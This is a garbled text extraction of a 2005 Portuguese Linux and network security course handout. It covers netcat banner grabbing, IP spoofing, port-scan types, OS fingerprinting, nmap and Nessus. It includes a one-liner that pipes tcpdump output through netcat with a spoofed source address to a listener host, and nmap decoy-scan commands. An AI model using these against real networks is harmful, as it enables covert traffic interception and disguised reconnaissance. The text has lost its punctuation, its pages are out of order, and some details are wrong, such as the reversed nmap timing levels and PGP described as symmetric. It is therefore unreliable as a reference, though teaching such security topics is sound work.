Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 37: Curso de segurança em linux e redes em geral

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua 